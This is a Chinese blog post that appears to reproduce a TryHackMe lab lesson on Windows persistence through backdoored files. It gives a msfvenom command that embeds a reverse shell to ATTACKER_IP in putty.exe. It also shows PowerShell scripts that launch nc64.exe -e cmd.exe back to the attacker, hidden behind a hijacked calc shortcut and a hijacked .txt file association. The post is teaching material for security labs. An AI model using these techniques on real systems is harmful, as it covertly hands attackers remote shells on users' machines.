💗 加载中… 💗

后门文件(try hack me)

后门文件

建立持久性的另一种方法是篡改一些我们知道用户经常访问的文件。通过对这些文件进行一些修改,我们可以植入后门,这些后门会在用户访问时执行。由于我们不想引发任何可能暴露我们身份的警报,因此我们修改的文件必须能够按预期为用户提供服务。

可执行文件

如果你在桌面上发现任何可执行文件,那么用户很可能经常使用它。假设我们发现一个 PuTTY 的快捷方式。如果我们检查快捷方式的属性,就会发现它(通常)指向C:\Program Files\PuTTY\putty.exe。这样,我们就可以将该可执行文件下载到攻击者的机器上,并对其进行修改,使其运行我们想要的任何有效载荷。

你可以使用 轻松地在任何 .exe 文件中植入你所需的有效载荷msfvenom。二进制文件仍将照常运行,但通过在二进制文件中添加额外的线程,可以静默执行额外的有效载荷。要创建带有后门的 putty.exe,我们可以使用以下命令:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户不知情的情况下执行 reverse_tcp meterpreter有效载荷。虽然这种方法足以建立持久性,但让我们看看其他更隐蔽的技术。

快捷方式文件

如果我们不想修改可执行文件,我们可以篡改快捷方式文件本身。与其直接指向预期的可执行文件,不如将其改为指向一个脚本,该脚本会运行后门,然后正常执行常规程序。

为了完成这项任务,我们来检查一下管理员桌面上calc的快捷方式。右键单击它并转到属性,我们将看到它指向的位置:

屏幕截图 2025-07-22 141424

在劫持快捷方式的目标之前,让我们在或其他任何隐蔽的位置创建一个简单的PowershellC:\Windows\System32脚本。该脚本将执行反向 shell,然后从快捷方式属性中的原始位置运行 calc.exe:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe

最后,我们将快捷方式更改为指向我们的脚本。请注意,执行此操作时快捷方式的图标可能会自动调整。请确保将图标重新指向原始可执行文件,以免用户看到任何可见的更改。我们还希望在隐藏窗口中运行脚本,为此我们将向Powershell-windowstyle hidden添加选项。快捷方式的最终目标是:

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

屏幕截图 2025-07-22 143404

让我们启动一个 nc 监听器来在攻击者的机器上接收我们的反向 shell:

user@AttackBox$ nc -lvp 4445

劫持文件关联

除了通过可执行文件或快捷方式进行持久保存之外,我们还可以劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell。

操作系统默认的文件关联保存在注册表中,注册表项中为 下的每种文件类型都存储一个键HKLM\Software\Classes\。假设我们想检查哪个程序用于打开 .txt 文件;我们可以直接检查.txt子键,并找到与之关联的程序 ID (ProgID) 。ProgID 只是系统中已安装程序的标识符。对于 .txt 文件,我们将获得以下 ProgID:

屏幕截图 2025-07-22 143712

然后,我们可以搜索相应 ProgID 的子键(也在 下HKLM\Software\Classes\),在本例中是 txtfile,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目都会有一个子键,在该子键下shell\open\command指定了针对该扩展名的文件运行的默认命令:

屏幕截图 2025-07-22 143903

在这种情况下,当您尝试打开 .txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1,其中%1表示打开的文件名。如果我们想要劫持此扩展程序,可以将该命令替换为一个脚本,该脚本会执行后门,然后照常打开文件。首先,让我们创建一个包含以下内容的 ps1 脚本并将其保存到C:\Windows\backdoor2.ps1:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

请注意,在Powershell中,我们必须传递$args[0]给记事本,因为它将包含要打开的文件的名称,如通过所示%1。

现在让我们更改注册表项以在隐藏窗口中运行后门脚本:

屏幕截图 2025-07-22 144006

最后,为你的反向shell创建一个监听器,并尝试打开受害者机器上的任意.txt文件(如果需要,可以创建一个)。你应该会收到一个具有打开文件用户权限的反向shell。

posted @ 2025-07-22 14:45  Serein123y  阅读(6)  评论(0)    收藏  举报
返回顶端